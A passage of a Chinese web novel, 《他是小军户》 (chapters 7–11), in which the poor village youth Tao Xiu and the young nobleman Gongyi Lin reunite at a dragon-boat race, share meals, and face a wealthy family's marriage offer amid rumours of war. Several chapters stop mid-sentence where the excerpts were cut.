这段草草建立的友情中,公仪林始终占据强势一方,行为举止难免狂妄且霸道,性子温和的陶修则多次忍让他的恶习,有时会给予他正面的引导,就像师父教导他的话一样。公仪林虽不能从一个劣迹斑斑的公子哥迅速转变成文雅良善的小孩,终究是有些不起眼的改变,公仪林,很崇拜陶修。 刚入秋,汝丘那边一封又一封的家书催促公仪林回去,他们收到的是一封封重复单调的回信——“再住几日”,公仪夫人见儿子在乡下野的家都不认,只能请他父亲出手。 离别前,陶修用木头刻了个少年跳水的木雕赠送给公仪林,公仪林对这手艺一般的木雕爱不释手,连说回去后会还礼。 快要入冬之际,陶修突然收到沈家仆人送来的一箱东西,那人传话给他:“是汝丘县公仪二公子送的东西,说一定交到你手中,让你把不会的字都写下,下次见面再教你。” 陶修打开木箱,先入目的是一封信,信上的字迹工整秀气,大不似公仪林的为人:“康乐,救命之恩涌泉相报,此是我母亲备下的谢礼,望收。”在信笺署名处还盖上小印——公仪槐序。 箱子里放了两身较为朴素厚实的衣物、四只毛笔及一卷白纸,一把认不出好坏的刻刀,箱底还压了几本书,其中一本名曰《解字》,陶修最后打开的是一块用油纸包裹的腊肉,这块腊肉让他五味杂陈,他的窘迫在小公子面前暴露无遗,又感激他的细致入微。 自天和六年秋天这一别,看似有着深厚情谊的二人再没见过面,直到五年后玉河村的清江河上进行了一场龙舟比赛。 这五年间,陶修的生活一如既往的穷困。 陶修九岁时,他叫了四年的“爹”死于急症,他无动于衷地看着那个男人埋入地下,即将与泥融为一处的人用几只羊就更换了他的人生,不恨就已是最大的善意。此后,陶家还剩下年迈的陶彪和幼小的陶舒,整个家也陷入可怕的贫穷中。陶修的处境果然如当年那个拐子所言,迅速成了陶家唯一的劳力,他和陶彪拼尽全力才能勉强活着。 几乎每日都在饥寒交迫中忍耐,无神的双眼看不清朝阳的明亮,苦涩的野菜实在无法下咽时,陶彪猛击桌面震慑两个孩子:“你们想吃人肉?”这句话他说了多年,每一个艰难的寒冻都会来一句:“总好过让你去吃人肉。” 陶修的耳朵久听成茧,置之不理。 饥与寒都可以忍耐,因为刚与北方齐国休战没几年的百姓都在困难中休养生息,忍饥挨饿的人遍地都是,他不过是其中一粒微尘,难以忍受的是来自同龄人的欺侮和歧视。 有人骂他是来路不明的杂种,说他一定与狼子野心的北方狗有关系,有人欺负他家人丁稀少,他不明白这群同龄人为何会选中他为目标,沉默寡言又没有错。乡下生活的苦闷和单调几乎使打人成为一种乐趣,整个年少时期,那群人抱团站在他的对立面,在他身上留下拳打脚踢的印记。 也是九岁那年,陶修遇到了师父辛南佐,一个自称是从彭城逃命到本地的剑客。辛南佐仗剑游历过许多地方,告诉陶修这玉河村外的大事,北方战事不断,民不聊生,玉河村的短暂和平只是假象,随时都会重启十几年前初建国前的战争,叫他居安思危,叫他长大后要有一番作为。 辛南佐还要陶修忍受少年们的挑衅和侮辱,必须学会隐忍和克制。 他这个做师父的一向行踪不定,但每年都会在玉河村住上几个月,直到陶修的剑术达到他苛刻的要求。 辛南佐的出现像一把白刃,劈开陶修周边的黑暗,一道明晃晃的光透过裂缝直射少年的心底。陶修放羊时常神游天地,思索想要的是什么,他想去外面见识一番师父眼中的天地,绝对不想在山中逮一辈鸟在水里摸一辈子鱼,更不想轻易就被人当贼抓起来。 说到当贼抓起来,《解字》一书已被陶修翻烂,不认识的字仍旧很多,每翻一次,他就会想起那碗向他传递善意的绿豆汤,想起公仪林围在身侧问东问西的求知模样,他谋取生存的本领在那少年面前显得渊博奥秘,几乎令那小子头晕目眩。 但五年来,两个曾发誓一定做挚友的少年似乎都没有认真履行当年的约定,那个炎热特殊的盛夏渐渐褪出记忆,并未因他们的约定变得不同。 因战乱丢掉的赛龙舟风俗难得重回众人视野,此次赛事附近几个村都会来参加,规模十分隆重,由汝丘县的县尹主持此次赛事,比赛位置就选在清江河的玉河村河段。清江河河面宽阔,水深流缓,足够六条龙舟同时下水。 赛前几日, 7. 到你那蹭顿饭 《他是小军户》全本免费阅读 沈夫人一见着比沈钟还高出半头的侄儿,又惊又喜,拽着公仪林的手嘘寒问暖,问些他无需动脑就能回答的家长里短。 公仪林本本分分回答完毕后立即问:“我和表兄去看看龙舟准备的如何,姑母不会还拿我当孩子看守在院中吧?”他问话向来不给人做选择。 “听说你母亲都管不动你,别惹事就行,去吧。” 还没迈出门槛,沈夫人又急急地喊住他:“槐序,等下。” “姑母还有什么要叮嘱的?” 沈夫人这几年眼角的细纹变成粗纹,温和变成慈祥,她双目笑成弯月,开口必定是好事,“袁家的事情,你母亲跟你提起没?” 公仪林愣了一下,想起来是关于袁家的亲事,赧然一笑:“我不关心那些,随母亲如何安排。”说完逃似的从沈夫人眼下溜走,刚过了十五岁,众人对他的亲事提的一天比一天多,从开始的羞涩到中期的厌烦,再到现在的无所谓,他随他母亲操心去。 沈钟紧跟在后面接着取笑:“刚才还嫌弃我成家,我看用不着过两年,明年你就和我臭味相投了。” 参赛的龙舟是两个月前县署拨资现造的,选木、造型、上色十分耗时,陶修从头至尾都参与其中。半个月前龙舟正式下水,所有鼓手、锣手、划手都在清江河上努力演练。 龙舟现在就停靠在河边由陶修看管。 离清江河的石桥还很远,公仪林就看见河两岸绑在树上提升氛围的彩幔和花灯,赶来参赛的龙舟已有十来条,岸两边聚拢不少看热闹的百姓。 河里有敲敲打打正在检修船只的,有哼哧哼哧演练的,鼓声擂动,此时已有了点气氛。公仪林将马系在树上也混在人群里看水中的热闹,十几条五彩斑斓的龙舟停靠在一起,场面壮观悦目。 他在数十个浑身充满力量、肌肉健硕的汉子中寻找陶修,五年不见,不确定自己还能不能认出他。 沈钟见他在人群里胡乱张望,脖子伸的老长,居然能猜到他在找谁,就指了一个方向说:“在那,最东边的那条船,看见没?穿白衣,瘦瘦的。” 公仪林顺着他手指望过去,果然见龙舟的放鼓位置立着一个少年,手里拄拐似的拿了根舟楫,凝神盯着河面上正在演练的其他船只。 在一群穿着胡里花哨参赛服的壮汉中,少年素净的衣着和挺拔颀长的身姿尤为显眼,一身粗糙的白色麻衣,腰间绑了条浅棕色的腰带,袖子挽在臂弯,露出一段结实的小臂和腕上银光闪闪的镯子,这段距离看不清陶修的脸,公仪林却在脑中勾勒出他的五官。 公仪林撩起衣摆挤进占满人的石桥,又跨过一片深草,终于寻了处人少又离陶修近的位置,对龙舟上的背影高喊一声:“康乐。” 嘈杂鼎沸的人声中,陶修非常清晰地听见了这个陌生的称呼,急回头循声找去。 这一回头,公仪林大吃一惊,胸口猛地抽动一下,他觉得可能是刚才跨过一道浅渠时用力太重。 他方才凭小时候的印象去描摹陶修的脸,但是他比想象中的更清朗俊美。因为清瘦那张脸偏长一点,双目依旧沉静清澈,眉毛乌黑如画,相比小时候,他有种藏在墙角的花突然绽开的惊艳。公仪林一时不知如何去描述此人在心中留下的痕迹,唯有“神清骨秀”才能立得住陶修此时的气质。 陶修在舟上向前从容走了几步,站定后愣了一瞬,忽而露出浅浅的笑意,躬身行礼。 他用舟楫作支点,敏捷地从船上跃到岸边,二人先是生疏地对视而笑,直到陶修先开口缓和两人间无话的尴尬:“几年不见,我险些没认出公仪公子,变化真不小。” “你的变化更大些,还是沈钟指点我找到这里。” 二人在岸边挑了处青草窝坐下,公仪林指着方才陶修脚下的龙舟问:“沈钟说龙舟上的彩绘都是你画的,手艺不错。” 陶修对整条船的造型和彩色也很满意:“龙头部分我雕了六天,用时最久,船已下水十几天,应该没有问题。” “你坐在龙舟的哪个位置,比赛时我给你助威。” “右侧,最后一个位置。” 二人已不是幼时无话不谈的孩童,多年不见,完全不知谈话从何处下手,紧张和尴尬犹如游走全身的蛇,挠的身上虚虚痒痒,两人突然拘谨沉默,人群的嘈杂被隔绝在耳畔,公仪林却听见陶修摩挲手指的声音。 “康乐哥是否有家室?”大约是来此之前沈钟和姑母都提起过这个话题,公仪林问出一句令自己都窒息的蠢话。 突兀的问题果然吓了陶修一跳,他惊愕地转头,愣了好一会才回答:“没有,成家一事可能与我无缘。” “我也没有。” 公仪林平静地盯着清江河面,心里头却是波涛汹涌:快想想还能说什么,书还是山,淹死还是打野鸡,我得找借口逃,沈钟你个畜生到底死在哪了……公仪林感觉到一阵从未有过的绝望和局促,他何时在人面前露丑过了,今日的嘴像被施了咒。 “你才几岁,自然不会成家。何时来的玉河村?” “今日刚到。我们有多久没见了?” “大约、也许是五年吧。” “哈,是吗,挺久——” 陶修说话的语调平和,均匀有序,他也把视野放在河面演练的船只上,揣摩对手的实力,但这表面上的平静是装出来的,他在身侧摸索到一把青草抓在手中,在回答公仪林几个问题后吃惊地发现野草已被连根拔起。 公仪林自认在陶修不紧不慢的语调中找准附和他的速度,但开口问的又是蠢话:“你的两只羊怎么样了?”此话像在问候这些年那两只羊过的可好。 陶修缓慢的节奏被他乌烟瘴气的问题击破,张嘴“呃、呃”两次,回道:“现在家中还有三只,那年你看见的两只早就卖了。” 又是公仪林单方面的不安和沉默,陶修也伸手抓住另外一把草。 “我打听过 8.这叫旧情复燃 《他是小军户》全本免费阅读 陶修非常意外汝丘的小公子还能记得自己,更意外的是那小子毕恭毕敬的态度和乱七八糟的问题,与当年举鞭就要抽人的模样判若两人。当年就听大仆私下称他为“傻二公子”,果然傻的可笑可爱。 他回家刚放好木浆就到庖屋的干草中一阵乱翻,把正烧饭的陶舒呛的往外跑,捂住口鼻跺脚道:“阿兄你在找什么?动作能不能小点?” 陶修从干草下搬出一只黑色坛子,小心翼翼端到屋外的阳光下,从坛中捞一把黑乎乎的腌菜盛放在碗中,又抱臂打量高挂墙上的熏肉。这块经年日久的熏肉孤零零悬在土墙最顶端,家中的狸猫常蹲在下面对它嚎上一整夜,叫了大半年都不见主人动它。 他后退三步,又一个猛冲跃上高墙利索地取下熏肉,力气之大,简陋的墙体都随之晃动。 陶舒蹲在黑坛边用手沾下里面的咸汁,放入嘴里砸吧几下,问:“阿兄,你差点把房子踩倒了,拿出这些东西做什么用,又不是什么大节气?” 普通百姓吃盐困难,这坛子腌菜是陶家兄妹在山里采一夏天的蘑菇换来的,干力气活时才敢奢侈一把。陶修把熏鸡肉翻来覆去的看品相,对她说:“明日有个友人要来。” 陶舒睁大眼睛,歪着头向兄长确认一遍:“你是说明日有人来我们家做客?你结识的好友?”她这阿兄多年来独行惯了,没听说他有过能动用墙上熏肉的朋友,“是谁啊,是玉河村还是邻村的?难得见你这样慎重,肯定是顶重要的人,那确实该用最好的招待。” “最好的招待他?”就公仪林光彩夺人的模样,这句话显得太寒酸,陶修摇头笑笑。 第二日陶修还在清江河边看管船只,目光一直在人群中搜寻公仪林的身影,但那小子好像没来。 一阵震耳欲聋的锣鼓敲起来,所有参赛的龙舟都已到齐,远近村、县来参赛的共十八条船。今日是演练的最后一天,他们等不及把真实水平都展现给众人,不管是看的还是参与其中的,人人都很尽兴。 人群散去时,陶修停好船从头至尾再次检查龙舟,确保无虞后欲跳上岸回去,谁知这一跳用劲太大,把脚下的船后推几寸,身体顿时失去平衡没跳到预测的位置,一只脚踩在岸上,另一只脚悬空捞了两下,重心不稳向后倒在河里。 岸上传来公仪林爽朗的笑声:“康乐,你没事吧?” 陶修站在河中朝他撩了一下水问:“才到?还以为你今日不来。” “早来了,日头太盛,我一直坐在树下看你演练。”他指着身后大堆上茂盛的几排杨树,明日这些有阴凉的地方会挤满看客。 公仪林小心翼翼理着衣裳踩在临水的位置朝陶修伸出右手:“手给我,我拉你上来。” 陶修握上他的手却猛地向后一拉,将这锦罗玉衣的公子拽进水里,笑道:“又怕晒又怕脏,我小妹都不及你。”两人干脆在水中游上一阵子,陶修不忘取笑他:“这几年,像水鸟一样扎猛的本领学会了没?” 公仪林也不甘示弱去提他旧疤:“说来也怪,只有在长菱角的地方才会那这个本事。” 两人这一通闹腾比昨日刚见面时熟络许多,回去的路上把滴水的衣裳顶在头上遮阴,谈天的话题很自然涉及到寻常小事上,公仪林问他:“这几年还在坚持识字?”好歹问题变得正常了。 到了陶家,陶修拿出一件干净的粗布衣裳递给公仪林,“将就穿下,你的衣裳我给你洗了,很快就能干。” 公仪林摸过青布衣裳粗糙的纹络,上面有皂角的清气,干燥粗劣的触感让他觉得这就是陶修的衣裳,是他的为人。衣裳穿得挺合身,公仪林一壁系腰带一壁往外走,迎头撞上一个姑娘。 这姑娘娇俏出众,一眼看去就被那双乌漆溜黑的眼睛吸引,盘了两个可爱的双平髻,整个人像二月抽出的新芽。 几年不见,身体抽条的不单是陶修,连陶家小妹都出落的亭亭玉立。公仪林忙施礼,低垂双目避让到一侧。 陶舒认出此人是当年赖在家中闹腾兄长几个月之久的公仪林,惊讶道:“哥哥的友人是你?我还以为他长进交了新友,原来是和旧友‘旧情复燃’呀。我们寻常百姓人家没那么多礼数,公子不必拘谨。”说罢捧着一小罐粟米从他身边溜了过去。 公仪林杵在原地回味她那句“旧情复燃”的意思,纵是读书百遍,都不如陶小妹这一句话说的有意思。 院中的绒花树较五年前更茂盛,蓬蓬如盖,树下的木桌被风吹雨淋多年已腐朽发黑,公仪林和陶修就坐在树下的桌子旁,按住那只嗷嗷叫的狸猫逮跳蚤。 “你的屋子还那样,就是书多了一些。” “多谢你那年的赠礼和书籍,我一直在心里想着何时能再见你,当面感谢。” “你先救的我,我母亲说我送的太过寒碜想要亲自动手,我说你为人有点、有点特别,不会轻易接受别人馈赠,太贵重的东西反而给你负担,我就自己随意凑了点。” “那本《解字》作用很大,虽还有许多不识的字,勉勉强强能读一篇文章。” 五月的天气慢慢炎热,陶修把衣袖挽上去露出臂膀,也露出膀子上多处浅于其他肤色的伤疤,想必是这些年挨打被揍留下的痕迹。 “别人打你时,为何不肯还手?你反击过去,他们未必敢欺负你。” 陶修终究是个十六七的少年,即便性格再温和,也无法抵挡公仪林如此直白的锤击,这无异于把旧伤又撕开,把过去想要忘记的事重新摆在眼前,他抬眼朝他看去,又飞快避开他疑惑的视线。桌上嗷呜嗷呜的狸猫不喜被抓虫子,抱着陶修的手又踢又咬。 公仪林一掌打开撕咬的狸猫,惊慌道歉:“康乐哥,我只是好奇,如果我说错了话就罚我吃不上这顿饭。” 陶修随即给他一个定心的微笑:“都是过去的事了,都在变好。” 摆上桌的是两盘菜,一碟雪白脆嫩的莲藕,还有一盆乌漆黑认不出菜色的肉。 要不是公仪林昨日的要求这两盘菜绝不会出现在桌上,他好像摸懂了陶修的为人。冷漠的外表包裹一颗如火赤忱的心,他是个很好接近的人,只需一点善意就肯敞开心胸,也只愿与能给他尊重的人交心,可惜村里长期欺凌他的少年们对此一无所知,错失他这个极佳的伙伴。 公仪林心道:亏我当年落水,不然就是欺侮陶修那群少年中的一员,不对,那顿鞭子我已经是其中一个,还好事情还能补救。 他夹起一 9.江家要选女婿 《他是小军户》全本免费阅读 清江河的宽度仅够六条龙舟同时比赛,十八条船需分三场进行,多年来难得一次的盛大赛事,为百姓增加乐趣,就算十八条船划个十八次都没人反对,图得就是新鲜劲。经过商讨,每一场可淘汰两条船,剩下的十二条分上下两场比赛,选出前三甲,再由得胜的六条进行终极比赛,竞出最出色的三支队伍。 如此分配几乎全天都有比赛观赏,方不辜负了烈日下挤在一起的几千颗人头。 第一场比赛抽签分配出场顺序,陶修所在的嚣龙队是第一场第三道。 河道的赛程约三里,划一个来回定输赢。时辰一到,震天锣响,六条五彩斑斓的龙舟如蛟龙出海,在响彻两岸的欢呼声中齐齐冲出起点。船上的鼓手舞动紧实的双臂,面耳赤红带动划手的气势,有序引导他们划桨的节奏,船尾的舵手冷静沉着,心无旁骛紧盯龙舟的前行方向。 嚣龙队划回程时已远超第二名的天龙队十几丈远,第一场毫无悬念,嚣龙队位居第一。大概是服饰太过显眼,他们赢得河两岸震天的欢呼声。 让公仪林卸下胸口大石的是,并非只有他一人注意到陶修出众的相貌。左侧的县尹大人指着陶修侧首问身旁的人:“那眉眼长得极好的孩子是何人?” 如此看来人被好看的东西吸引是理所当然的,刚才的惊慌完全是自己吓自己,公仪林舒坦了。 那人去一旁打听后回道:“玉河村的军户,姓陶名修,家境贫寒,人丁也不旺。” 县尹大人还以为是哪个士族子弟上阵,呵呵笑了一下:“出身差了些。” 作为鼓手的沈钟第一场比赛就毫无保留拼尽浑身的力气,自认为开门红皆是他的功劳,刚赢了第一场就举着鼓槌冲到公仪曲和表弟面前问:“我表现如何?初战告捷,魁首非我们嚣龙队莫属。” 公仪林哪还分得出精力去夸赞沈钟,到处找陶修的身影,看见他上岸后迅速跑过去,高声道贺:“康乐,第一场就赢了,恭贺啊。” 陶修边擦汗边看着另一方向:“赢的还算轻松,我想对手应该是西园村的开锋队。”他所担心的开锋队,划手们个个虎背熊腰身强力壮,这么一对比,玉河村凑人数才凑出来的划手显然气势不足。 “怕什么,又不单单比力气,多数讲究技巧和配合,他们光有一身肥肉吓唬人罢了。” 两人正说着方才赛程的经过,突然从一侧走来两个年纪不大的丫头,其中一人眉目闪动满脸笑容对陶修道:“小公子,我们家老爷和夫人请您过去一趟。” 陶修一脸懵懂,手指公仪林跟那丫头确认道:“找我?还是他?” 公仪林推了他一把笑道:“快去,肯定是哪个小娘子看上你了。” “别胡说。” 请陶修前去问话的是桃花亭富裕的江家。江家做陶瓷生意,虽不是名望大族,也是个有头有脸的富裕人家。江全老爷生意做的旺,事事顺遂,美中不足的是两个妻妾一连生了七个女儿,始终没能如愿求得一子,年纪上来后也想通了,打算为性情舒朗大方的三女儿寻个上门女婿。 三女儿江旋挑夫婿有要求,必须满足两个条件:模样长得俊,人品要好。 这两个条件若是分开了找也还容易,集中在同一个人身上未免有些不切实际。刚才嚣龙队的成绩突出,哪成想里面有个少年的模样更突出,一下就引起江全及夫人的注意,二人仓促的勾头接耳、一拍即合,未来的女婿就是此人。 陶修跟在两个丫头身后绕过人群来到江全面前,不知眼前是何人又因何事,只得先行礼,一言不发恭敬地站着。 近看这小伙子比远看更满意,态度也谦卑恭顺,江全十分客气地上前几步,笑问:“你今年几岁?叫什么名字,是玉河村哪家的孩子?” “陶家,阿翁是陶彪。” 村与村之间相邻并互相来往,年纪一上来即便没见过面也会知道有这个人,江全道:“原来是陶彪家的孩子。”他有些犹豫,陶家人丁单薄、家徒四壁也就罢了,那陶彪还是个古怪人,养出来的孙儿又能好到哪里去,若与他们家结亲,恐怕会惹上些甩不掉的麻烦。 “家中还有些什么人?”江夫人紧跟着问。 “阿翁和一个妹妹。” 江夫人已然把陶修当女婿去看了,越看越喜欢,看出老爷的犹豫后,拽着江全的袖子走到一旁轻声道:“我看这孩子眉眼老实,斯文有礼,不像油头滑脑的人物,既是上门女婿,人丁单薄不是正合我们意思,待他妹子嫁人,陶彪又瘫痪在床,过个几年就他一个人,还不是老老实实以我们江家为主。” 江全觉得夫人说得有理,转身继续问:“是否婚配或是定下了哪家的姑娘了?” 还真让公仪林说中了,陶修猛地抬头露出惊慌之意:“尚未婚配。” 江夫人喜笑颜开,当即邀请道:“初十那日桃花亭有个大集市,远近的百姓都在那天凑在一起以物换物做点小生意,很是热闹,务必请小公子初十当日来我们江家略坐坐,到了桃花亭稍打听下江家就能找到,万勿推却。” 陶修正要开口拒绝,身后有人急慌慌喊他:“陶修,快过来准备下一轮。” 江夫人笑意温和,挥手让他归队:“快去吧,快去。” 一向不知人际交往的陶修忽然语滞,又兼队友催的急切,只得云里雾里地退了回去。 开锋队在第二场中果然不负众望轻而易举就拿下第一名。 第一轮淘汰六支队伍,余下的十二支重新抽签分上下场,幸好避开了开锋队,嚣龙队劫后余生的松了口气。 这一轮嚣龙队虽成功进阶,但沈钟却出了点意外。他太过慷慨激昂,快到终点时捶鼓的右臂突然被扭了筋脉,痛的冷汗涔涔,凭着难得的毅力硬是撑到最后。 上岸后右臂已肿的像一截莲藕,鼓是不能再敲了,暴躁脾气一上来就 10.晚上过来吃饭 《他是小军户》全本免费阅读 公仪林卷起袖口收起玩心,聚精凝神,鼓槌的力道气势汹汹,磅礴奔腾,鼓面震颤,声音极其压迫耳膜,水静流缓的清江河面有种焦躁的寂静感,陶修身在其中惊愕失色,久久盯着发疯的公仪林,终于忍不住小声劝道:“不必急,把握好节奏,赛前再演练一遍,精诚合作,胜算还是很大。” 公仪林的双耳哪还听到他的声音,乱七八糟的情绪在富有节奏的鼓声下起起伏伏。 “管他吧,砸对了就行。”陶修不敢再接近他,贵公子的脾性或许都阴晴不定,沈钟如此,他以为性格略有不同的公仪林也如此,等龙舟结束各归各家谁也干扰不到谁。 龙舟靠近岸边,陶修先跳下去,本想邀公仪林一起回陶家,见他脸上莫明的阴翳还没散去只得作罢。走了几步忽又停下来,回头对还立在舟上的公仪林说:“槐序,若不嫌弃,就跟我一起回去吃顿粗茶淡饭?” 公仪林仰起头疑惑地盯着岸上的陶修,“这穷小子刚才一定在我身上动了手脚!”不然胸口的气短沉闷是怎么回事。 他把触碰陶修腰部时留在掌心的温度归因为抡鼓太用劲,陶修在他耳边呼出的滚热气息归因为天气炎热,腹部的燥热则是被他那不值钱的骨头硌到了。 但一触上陶修眼睛,他发现说服不了自己,未必就是陶修从中做了手脚。 恐惧源自未知,尚不清楚胸口隐隐的滞闷是否与陶修有关,他的邀请搅得他心里兵荒马乱,硬生生逼出一副截然相反的态度,他厌恶此人,连正眼都不想给,于是把手一摆冷冰冰地回了一句:“不用,沈钟就来接我。” 陶修不懂他发病原因,既然试图缓和二人关系的“粗茶淡饭”没引起他兴致,只好抱着“此人交不得”的想法回去,走过石桥、离开河滩,突然听见身后近乎发泄和仇恨的问候:“陶修,你个狗东西骨头断没断?” 两只手很配合绕过肩头摸向后背能触碰到的每一个位置,陶修肯定地回敬他:“不劳你操心,没断。” 待那背影走远不见,公仪林才发现自己瘫软在河边的杨树荫下,不懂何时从舟上下来的。浓密的树叶挡不住五月耀眼的阳光,清风拂过,树叶摇动,树杈间晃动的白光刺得他有些眩晕,口干舌燥还汗流不止。 他又跳上龙舟,借杂乱的鼓声掩盖失魂落魄。 来河边接他回去的沈钟看到的却是表弟极其自律的训练,其行为令人感动,便拍掌夸奖道:“有你这样认真的,何愁不赢,走,先回去吃了饭再来。”发现不对劲,扯了两唇开始碎碎叨叨骂人:“为何是你一人,陶修那狗东西走了?没等你?没送你?这贱东西敢丢下你就走了?” “你这嘴刺耳,我不想听见你再骂他。” 嚣龙队在赛前凑一起预演了一趟,公仪林“砸”鼓的水平大差不离勉强过关,不扯后腿就够用。 决赛评出前三甲,获胜者由汝丘县尹自掏荷包给予他们奖赏,说来这奖赏颇为有趣,刚透出消息时就为村民津津乐道,第一名可获得在下一年比赛时继续沿用的“龙”队番号,每人赏银三两及三斤猪肉。 第二名赏银二两及两斤猪肉。 第三名再次递减。 这猪肉作赏确实朴实无华,就冲悬挂在杨树上的百十串通红的鲜肉,龙舟上的硬汉们无不血液沸腾。 进入决赛的六条龙舟蓄势待发,公仪林穿上沈钟的无袖红罩衫,有模有样成了嚣龙队一员。但他心里不痛快,给他不痛快的人安安静静坐在船尾,自吃了饭回来就跟哑巴一样没敢过来跟他说话,“大概他家吃了哑药。” 公仪林腿边坐的划手叫沈斗,估摸此人上次洗澡是去年夏天,浑身臭气熏天,难为与其一起训练的队友,他用鼓槌挑了沈斗浑身最干净的地方戳下去:“去跟陶修换个位置。” 沈斗摸摸被戳的额心,嗫嚅一句:“都要决赛了换位置怕是不好吧?” “让你换你就换,你缺那三斤肉回头我补给你。” 陶修磨磨蹭蹭坐到沈斗的位置,仰头问公仪林:“你为何让沈斗跟我换位置?” 公仪林奸计得逞,悄悄收了笑,绷着脸回道:“全身都是汗馊味,影响我击鼓心情,阻碍我拿三斤肉。” 陶修也是悄悄的,悄悄地拎起前襟衣裳嗅了一阵,替大伙鸣不平:“天气炎热谁身上没个味道,经风一吹就散了,我们这些人在日头底下晒了几天,怎么可能会——”他越说越没意思,因为他仰头看见的是公仪林如凝脂美玉的脸,对这种人辩解没有意义。 “你老实坐好,敲错鼓你及时指点。” 申时将到,河边看客比晌午还多一些,行令官高举小红旗,神情肃然立于一面大鼓旁,舵手紧盯他手中的旗帜。待行令官手中旗子向下挥动,两岸瞬时人声大作,鼓响锣鸣,助威呐喊声响天彻地。 六条龙舟像离弦的箭破开水面,一往无前。 夏风舒爽,水花四溅,遥遥领先的果然是全员腱子肉的开锋队,把其他五只舟甩得毫无胜算。 嚣龙队虽不及开锋队,又远胜其他四条船,它紧咬开锋,不肯放弃多出的一斤猪肉。 划回程的河段,开锋队稳操胜券,越战越勇,甚至与落在最后的船打个正面。 嚣龙队望其项背,争第一的气势一弱就被后面以村名做队名的桃花队赶上,公仪林刺激众人:“肉要变一斤了,加力。”这绝对是可怕的威胁和激励,嚣龙重燃斗志,为了那口吃的,好歹是不负众望达到终点。 公仪林在瘫成一堆的陶修身边坐下,笑道:“受累。” 陶修立即挪开一指的距离,拢拢敞开的罩衫说:“我身上都是汗。” 此话小心又戒备,看来公仪林晌午那顿无来由的火让他认清二人不啻天渊的身份。公仪林挺后悔的,在周边兴奋哄闹的嚷声中突然把手伸到陶修头上揉了一把,“我要去你家吃肉。” 二人就此冰释前嫌。 赛后的奖赏由县尹大人亲自颁发,特意为此乡俗穿了新衣裳出来的县尹大人拎完九十六串血淋淋的猪肉后,身上的污迹与一旁咧嘴笑的屠夫并无二致,但他开心啊,这可是因战乱而废弃近二十年的乡俗,岂不是天下太平才在他手中得以重启。 领了奖赏的陶修把肉和红纸包的碎银交给陶舒后,立即和公仪林挤进开锋队的人群贺喜。这群腱子肉中最夯实的莫过于他们领队人周石,身材魁梧一脸正气,于人群中生生高出一个头。 陶修很好奇这帮人强壮的体型,遂上前与周石抱拳,“恭喜开锋队夺了魁首,凑够三十个如周大哥一样雄健的划手实在难得,不知你们是不是练家子?” 周石呵呵笑道:“近一年来确实都在练,并非为这场龙舟赛事。” 公仪林问:“你们这身武艺为何事准备?” 见二人面露疑惑,周石低声道:“你们没听说,圣上对前年失去淮泗之地郁愤难平,一直有攻打齐国夺回失地的想法。这十几年的养精蓄锐不就为那么点疆土做准备,近来攻齐的风声越来越大。这几年但凡满了十六岁的男子都去军府登了名,若真打起仗来我们这些军户定是要沙场杀敌,为了活命也得把身子练强了。” 周石在鼓囊囊的胸膛上猛击两掌,胸肌颤抖,彭彭跳动,把眼前两个精瘦的少年惊的一愣一愣。 陶修暗暗佩服:原来因军户身份而未雨绸缪的大有人在,不单是我一个。 公仪林想起两日前沈钟提到陶修应征参军一事,以及他刚才对周石表露出的敬佩之意,随口问道:“你想过去参军?” “想过,若真与齐交战,即便不强制入伍我也想 11.初十要去江家 《他是小军户》全本免费阅读 公仪林从马背上解下两布兜东西,放到树下的破桌上,然后等夸。 陶修问:“你拎的是什么?” “陶家邀我来用饭,还能空手?这是专门送给陶妹妹的东西。” 陶修伸手要打开,公仪林打开他的手说:“给陶妹妹解。” 有种不怎么舒坦的想法在陶修心里冒泡,他发现切肉的小妹不见了,立即抬高声音:“狸子把肉叼了。” 房门突然打开,陶舒从屋中火急火燎冲出来,“哪呢?”她手里的梳子有点意图明显。 都是敏感年少的年纪,看到她手中梳子那一瞬陶修意识到一件不妙的事。 自去年陶彪跟他提起一件令他毛骨悚然的事情后,陶修开始为小妹物色身份相当的夫婿,陶舒选夫的范围或许很广,但绝不可能是公仪林这样的人物。此人模样好,家世好,人品……这人品嘛,陶修暂时先放在一边不作考虑,好到无可挑剔居然也是一种缺点,至今他就没听说世家望族肯娶寒门女子为妻的例子,何况险些无片瓦遮头、祖传军户的陶家。 陶舒重新梳了发髻,扭捏着从房里走出来,仍旧坐回绒花树下不声不响切肉,大不似她平日爽朗的性子。 公仪林把布兜里往陶舒面前一推,俯下身轻言轻语:“陶妹妹,劳你用心招待,这是给你带的东西。” “嗯,多谢公子,要是贵重东西我就不收。”脸上的羞涩怕是降临的暮色也盖布住。 “不贵重,不贵重,等你打开。” 陶修越瞧二人越有鬼,眉来眼去、鬼鬼祟祟,“好端端你送她东西做什么?无事献殷勤。” “我来两回,两回都是陶小妹做的饭,怎会是无事献殷勤?” 公仪林坐在桌对面,抓过狸猫按在手下挠它痒,随口叮嘱陶修:“我从沈家出来时听见门子提起西海县正闹瘟疫,西海县离此百来里路,说近也近,说远也远,你们平日多注意些,不要和生人来往。” 陶修把身体往前挪动一点,手也放在猫肚上蹂躏:“是刚有话头传出来,还是蔓延一些时日了?瘟疫弱于雨水,衰于惊蛰,现刚进入初夏,按理说此时不该发生,他们有没有提起瘟疫的症状?” 公仪林想到他屋里的破桌上放过两本医书,他也请教过上面难认的字,莫非这人能狂妄到以为识几个字就敢涉险瘟疫,换过一个话题问:“我只是打门旁路过听了一句,或许是听错了。几年前你带我去的大庙,明日再带我去一趟?” “大庙是个小庙,就三个和尚,多年才有一次大斋会,一点不热闹,去做什么?” 公仪林笑道:“谁跟你斗字眼了,大庙小庙的,我也不是去凑热闹看灯会,只因我母亲烧香礼佛,平日里见佛就拜,我想这偏僻的村野里还有座她看不见的庙宇,替她给佛祖供奉点香油钱。” “哦,那我明日跟你走一趟。”陶修忽想起白日间江家的邀请,手敲桌面揣摩日子,烦躁不安问公仪林:“离初十还有几天。” “初十要做什么?” “桃花亭的江家邀我去他府上一趟,没有明说为了何事,问过我年岁及婚配一事,那会沈斗急慌忙拉我去舟上,一时口拙没干脆拒绝,正后悔这大半日。” 公仪林手下的狸子嗷呜嗷呜挣扎要跑,伸爪在他手面刀了一把,他把狸猫一掌拍走,笑说:“听起来这个江家挺殷实的,应该是看上你的人才,到时候好好表现,江家既然主动为女儿选夫婿,别是他们女儿丑得不能见人吧。为何要后悔,好歹是个机会?” “机会?以陶家的家境,你说说富裕江家凭什么会看上我?” “对,对,对,拒绝了也好。这江家用心险恶,不是把你哄骗去给他家烧窑,就是江家女子丑得吓人,再有可能是算准你八字给他家老迈昏聩将死的祖宗续命。”公仪林见他阴沉着脸,把自己笑得肚疼。 